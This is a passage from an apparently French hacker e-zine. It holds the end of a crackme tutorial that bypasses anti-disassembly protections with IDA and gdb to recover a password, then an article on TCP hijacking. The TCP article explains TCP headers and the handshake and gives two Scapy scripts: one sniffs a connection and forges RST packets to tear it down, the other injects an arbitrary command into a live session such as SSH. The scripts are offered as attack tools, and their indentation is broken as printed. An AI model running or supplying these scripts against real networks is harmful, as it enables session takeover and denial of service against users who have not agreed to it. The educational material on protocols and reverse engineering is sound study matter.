La première chose qui nous frappe, c'est ce "jmp eax" : on sait que notre programme va aller sauter à la valeur contenue dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble curieusement à une adresse de fonction et qu'on retrouve dans notre désassemblage (là où le code est devenu incohérent).
Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, eax = 0x080484A4 + 2.
Ensuite, on met eax dans edx, puis on retranche la valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax. On a donc 4 octets de décalage entre la fonction annoncée et la fonction "réelle" qui contient n'importe quoi, ce qui embrouille le désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à notre code (je supposerai ici que vous savez localiser et éditer des octets dans un binaire). Sous IDA, il suffira juste de se placer 4 octets après "0x080484A4" et de presser "C", ce qui demandera à IDA d'analyser et désassembler le code.
Nous avons affaire à une deuxième protection anti-désassembleur un peu plus loin dans le code, que je vous laisserai éliminer (le code est plus basique).
Une fois ceci fait, on remarque que le bon serial est "T4pZN355" (avec un peu d'habitude).

0x04 - Avec l'utilisation d'un debuggeur

Je vais proposer ici une autre approche pour résoudre ce crackme, qui ne nécessite pas d'analyse statique (il faudra par conséquent "oublier" tous les résultats qu'on a trouvé jusqu'à maintenant).

On va donc lancer notre crackme avec gdb:

            $ gdb ./demo
                    

Le premier problème auquel nous sommes confrontés sont les symboles supprimés, ce qui nous empêche de poser un breakpoint sur _start ou sur main. Qu'à cela ne tienne, on va poser un breakpoint sur __libc_start_main, puis regarder la pile des appels pour revenir à notre fonction parent.

Cela nous donne quelque chose comme ceci: (à noter que j'utilise un .gdbrc permettant à gdb de ressembler à softice, merci à Xylitol pour le script)

            gdb $ break __libc_start_main
            gdb $ run
                    

Notre programme break donc dans la fonction __libc_start_main, et comme promis, un coup de "bt" nous permet de revenir à la fonction appelante, avec ceci:

            gdb $ bt
            #0 0x4ad8b5c0 in __libc_start_main () from /lib/libc.so.6
            #1 0x08048391 in ?? ()
                    

L'adresse qui nous intéresse ici est 0x08048391, qui est l'adresse de l'instruction appelée juste après le "call __libc_start_main". On va donc revenir de quelques instructions en arrière, pour récupérer notre adresse de la fonction "main" (en diminuant la valeur trouvée, au pif pour moi 0x08048380):

            x/5i 0x08048380
            0x8048380: push 0x8048530
            0x8048385: push ecx
            0x8048386: push esi
            0x8048387: push 0x8048495
            0x804838c: call 0x8048360 <__libc_start_main@plt>
                    

L'adresse qui nous intéresse est le push effectué juste avant le call, qui est l'adresse de notre main(). On va donc poser un breakpoint dessus, et continuer notre petit bonhomme de programme:

 
            gdb $ break *0x8048495
            Breakpoint 2 at 0x8048495
            gdb $ continue
                   

Notre programme s'arrête donc juste à l'entrée de la fonction main, et en désassemblant la portion de code, on tombe sur ceci:

            0x8048495: push ebp
            0x8048496: mov ebp,esp
            0x8048498: mov eax,0x80484a4
            0x804849d: mov edx,0x2
            0x80484a2: jmp 0x8048516
            0x80484a4: jne 0x804842a
            0x80484a6: nop
            0x80484a7: jmp 0xc88b514
            0x80484ac: or al,ch
            0x80484ae: jle 0x80484ae
                    

Nous sommes ici face à notre prologue habituel, puis le programme met certaines valeurs dans edx et eax avant d'effectuer un saut. Malheureusement, après ce saut, les instructions semblent être devenues incohérentes, et on se dit qu'il y a une protection anti-désassembleur dans le coin. On va donc exécuter le code pas à pas jusqu'au saut (à coup de nexti), afin de regarder plus en détail ce qu'il se passe. Une fois le saut effectué, on se retrouve face à ceci:

            0x8048516: add eax,edx
            0x8048518: xor edx,edx
            0x804851a: mov edx,eax
            0x804851c: sub edx,0x80484a4
            0x8048522: add eax,edx
            0x8048524: jmp eax
                    

Le programme effectue des calculs plus ou moins bizarres avec eax, avant de sauter sur la valeur contenue dans eax. On va donc poser un breakpoint sur le jmp, continuer l'exécution du programme et observer la valeur de eax (et ainsi nous épargner de fastidieux calculs :þ). Lors du break, on voit que eax vaut 080484A8 (ce qui correspond effectivement au 080484A4 + 4 de la partie précédente). Un petit coup de nexti nous permet ainsi de sauter sur l'adresse contenue dans eax, où notre programme a une tête plus sympathique:

            0x80484a8: push 0x8048430
            0x80484ad: call 0x8048330 ; appel à la fonction printf
            0x80484b2: add esp,0x4
            0x80484b5: mov eax,DWORD PTR [esp+0x8] ; on récupère le premier argument passé à la fonction (ie argc pour main)
            0x80484b9: cmp eax,0x2
            0x80484bc: jne 0x80484ff
                    

On voit clairement que notre programme affiche un message (sûrement de bienvenue), puis récupère le argc pour le comparer à 2: on peut donc se douter que notre programme attend un argument (l'argument 1 correspond au nom de l'exécutable lui-même). On va donc avancer jusqu'au jne, pour voir le code qu'on exécutera pas (étant donné qu'on a pas passés d'arguments au programme). Lorsqu'on regarde le désassemblage, on peut voir cela:

            0x80484be: mov eax,DWORD PTR [esp+0xc]
            0x80484c2: mov eax,DWORD PTR [eax+0x4]
            0x80484c5: mov ebx,0x42
            0x80484ca: mov ecx,0x2a
            0x80484cf: sub ebx,ecx
            0x80484d1: sub ebx,0x17
            0x80484d4: add ebx,0x80484dc
            0x80484da: jmp ebx
            0x80484dc: jmp 0xc891149
            0x80484e1: or BYTE PTR [eax-0x18],dl
            0x80484e4: cmp dh,bh
            0x80484e6: (bad)
                   

On est clairement face à une deuxième protection anti-désassembleur. On va donc poser un breakpoint sur le "jmp ebx", puis relancer notre programme avec un argument (sûrement notre mot de passe). On va quand-même supprimer nos vieux breakpoints qui vont nous ralentir, avec "info breakpoint" et "delete id", où id est le numéro devant le breakpoint.

Relançons donc notre programme avec un argument (avec "run toto" par exemple), et le programme break comme prévu sur le "jmp ebx". On fait donc un petit coup de "nexti", et comme par miracle, on tombe sur un joli strcmp, ce qui est une routine de vérification du mot de passe:

            0x80484dd: push 0x804848c
            0x80484e2: push eax
            0x80484e3: call 0x8048320
            0x80484e8: add esp,0x8
            0x80484eb: cmp eax,0x0
            0x80484ee: jne 0x80484ff
            0x80484f0: push 0x804845a
            0x80484f5: call 0x8048330 0x80484fa: add esp,0x4
            0x80484fd: jmp 0x804850c
            0x80484ff: push 0x8048478
            0x8048504: call 0x8048330 0x8048509: add esp,0x4
            0x804850c: add esp,0x8
            0x804850f: call 0x8048350
                    

Regardons donc ce qu'il y a à l'adresse, 0x804848c (avec "x/s 0x804848c"), et on trouve comme par magie "T4pZN355", qui est le passe de validation.

0x05 - Conclusion

Nous avons vu ici comment contourner une protection "basique" à l'aide de deux méthodes différentes. Evidemment, le programme analysé est élémentaire; cependant, ces techniques sont aussi couplées avec d'autres tricks tes que les anti-débuggeurs ou la compression du code, ce qui rend l'analyse plus difficile.
J'espère malgré tout que cet article vous aura ouvert de nouvelles possibilités, et qui sait, permis de trouver une méthode pour résoudre un problème plus délicat.

That's all folks ! :þ

> TCP Hijacking

Auteur: storn

0x01 - Qu'est-ce que TCP

Le protocole TCP (Transmission Control Protocol) est un protocole utilisé pour transmettre des données entre une machine A et une Machine B.
Il gère de "A à Z" la connexion (Établissement, Transfert, etc) en utilisant un système de Drapeaux ou Flags. "Couplé" avec le protocole IP (Internet Protocole) qui assure le bon routage des paquets, il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:

			 0                   1                   2                   3   
			 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|         Port Source           |     Port de Destination       |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|                      Numéro de Séquence                       |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|                    Numéro d'acquiescement                     |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|Offset |           |+|+|+|+|+|+|                               |
			|  des  | Reservé   |+| Flags |+|      Fenêtre (Window)         |
			|données|           |+|+|+|+|+|+|                               |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|           Checksum            |         Pointeur Urgent       |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|                    Options                    |    Padding    |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			|                             Données                           |
			+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
			
Port source (16 bits):
C'est le port qui est utilisé par la machine source.

Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.

Numéro de Séquence (32 bits):
C'est le numéro du paquet

Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".

Offset des données (4 bits):
Ce champ indique où débute les données.

Réserve:
Ce champ sert pour des besoins futurs, il est à 0.

Flags (1 bit):
 URG: Pointeur de données urgente
 ACK: Acquittement
 SYN: Synchronisation
 PSH: Transfert de données
 FIN: Fin de transmission
 RST: Reset de la connexion


Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir 
de la position indiquée dans l'accusé de réception


Checksum (16 bits):
Indique la validité du paquet

Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage 
par rapport au numéro de séquence, ce champ est activé
que lorsque le Flag URG est à 1

Options (8 bits):
Option mono-octet
Octet de type, de longueur et de valeur d'option


Padding (0 à 7 bits):
"Bourre" le champ Options pour obtenir une trame TCP
multiple de 32 bits

Données:
Ce sont les données transmises (login, mot de passe, etc)
					

Pour plus d'informations consultez la RFC739

0x02 - Le déroulement d'une session TCP

Une session TCP comporte 3 étapes au cours de sa durée de vie: la "poignée de main" (handshake), l'échange de données à proprement parler, puis la fermeture de la connexion.

Three-Way Handshake

C'est un nom bien bizarre je vous l'accorde. Il s'agit tout simplement du terme utilisé pour désigner les trois étapes d'établissement d'une connexion, que nous allons voir ci-dessous.

Première étape:

		A --------       Flag SYN, seq=x        --------> B
					

A envoie à B une demande de synchronisation pour débuter un dialogue en indiquant un numéro de séquence égal à x.

Deuxième étape:

		A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B
					

B acquiesce le numéro de séquence de A en lui indiquant son numéro de séquence qui est égale a y, puis un numéro de "ack" (accusé de réception) égal à x+1

Troisième étape:

		A --------  Flag ACK, seq=x+1, ack=y+1  --------> B
					

A acquiesce le numéro de séquence de B en lui indiquant son numéro de séquence qui est égale a x+1 (la valeur ack du paquet précédent) puis un numéro d'ack égal à y+1 (la valeur seq du paquet précédent).

Transfert de données

Pour le transfert de données, TCP utilise le flag PSH (push) et le flag ACK.
		A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B 
		A <-------    Flag ACK, seq=x+1, ack=(y+1)+len(DATA)   --------- B
					

A envoie la donnée test\n a B. B, quand à lui, acquiesce la réception en indiquant comme numéro de séquence l'ack du paquet précédent, et comme accusé de réception (ack) la valeur du numéro de séquence du paquet précédent plus la taille des données reçues.

Fin de Connexion

Pour mettre fin à une connexion, TCP utilise le flag FIN pour terminer proprement la connexion, mais en réalité, dans la plupart des cas, on utilise le flag RST (reset), qui lui finit brutalement la connexion.

0x03 - RST Hijacking

Le RST Hijacking consiste à clore nous-mêmes la connexion via un paquet TCP avec le flag RST (reset), rt pour cela il nous faut avoir le numéro de séquence et l'acknowledge afin que le paquet soit accepté et que la connexion se termine.
Pour ce faire, nous allons coder un script python en utilisant Scapy.

Exemple: P pour pirate.

		A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
		A <-------          Flag ACK, seq=1200, ack=1006          --------- B
		P --------          Flag RST, seq=1006, ack=1200          --------> B
					

Le script:

		# RST Hijacking Script
		# Usage: rsthijack.py remote_host remote_port target
		#!usr/bin/env/python
		     
		"""On importe tout les modules de scapy et sys"""
		from scapy.all import *
		import sys
		     
		"""Filtre a appliquer au Sniffer"""
		filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
		print "Waiting..."
		print " "
		     
		"""Fonction Utilisée par le sniffer à chaque paquet reçu"""
		def rst_hijack(p):
		   
		 """Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
		 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
		    print "[+] Connection Found!"
		    print " "
		    print "[+] It's time to blow this shit!"
		     
		"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
		     
		"""Ethernet"""
		ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
		     
		"""IP"""
		ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
		proto=p[IP].proto, id=29321)
		     
		"""TCP, flag: RST"""
		tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
		reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
		     
		"""On forme le paquet final"""
		reset = ether/ip/tcp
		
		"""On l'envoi"""
		sendp(reset)
		     
		"""On sort du script"""
		sys.exit()
		       
		"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
		sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
					

TCP Session Hijacking

Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH. Il crée une connexion d'un client A à un Serveur B qui dialoguen entre eux en utilisant un numéro de séquence et un acknowledge que seul A et B connaissent.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion et de désynchroniser A de B.

NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre A et B.

Exemple: P pour pirate.

		A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B
		A <-------          Flag ACK, seq=1200, ack=1004        --------- B
		P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B
		P <-------          Flag ACK, seq=1200, ack=1012        --------- B
		
		--------------------------- ACK Storm -----------------------------
		
		A ----------------------       ACK       -----------------------> B
		A <---------------------       ACK       ------------------------ B
		A ----------------------       ACK       -----------------------> B
		A <---------------------       ACK       ------------------------ B
					

Reprenons le précédent script en modifiant quelques lignes:

		#TCP Session Hijacking Script
		#Usage: hijack.py serveur_ip serveur_port client_ip
		#!usr/bin/env/python
		     
		from scapy.all import *
		import sys
		
		"""Filtre a appliqué au Sniffer"""
		filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
		print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
		print " "
		     
		def hijack(p):
		 cmd=sys.argv[4] """On Stock la commande a executer"""
		     
		 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
		    print "[+] Found!"
		    print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
		    """Seq = Seq_du_paquet_precedent + Len_des_Datas"""
		    print "Hijack Seq: " + str(p[TCP].ack) + " |  Hijack Ack: " + str(p[TCP].seq)
		    print " "
		    print "[+] Hijack Session!"
		     
		"""Ethernet"""
		ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
		     
		"""IP"""
		ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
		proto=p[IP].proto, id=29321)
		     
		"""TCP, flag: PUSH/ACK"""
		tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
		reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
		     
		"""On ajoute la commande au paquet"""
		hijack = ether/ip/tcp/(cmd+"\n")
		sendp(hijack)
		   
		"""On sort du script, sinon il repondrat dans l'ACK Storm"""
		sys.exit()
		       
		"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
		sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
					

0x03 - Conclusion

Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local. De plus la présence des deux machines sur le réseau n'est pas requise, une seule machine suffit.
Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN, des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.

Remerciements

Je tient à remercier aaSSfxxx et B@rBcH pour leurs relectures

> Comment contribuer

Nous acceptons tout type d'article concernant la programmation, des explications sur diverses attaques, la philosophie et la mentalité hacker ou encore la culture "underground", cependant nous vous recommandons de suivre ces recommandations:



Vous pouvez envoyer vos articles directement à l'adresse redaction@n-pn.info, ou contacter un administrateur sur N-PN pour soumettre votre article.

Nous espérons que vous serez nombreux à contribuer au zine par vos articles ou simplement nous apporter votre soutien moral

TOP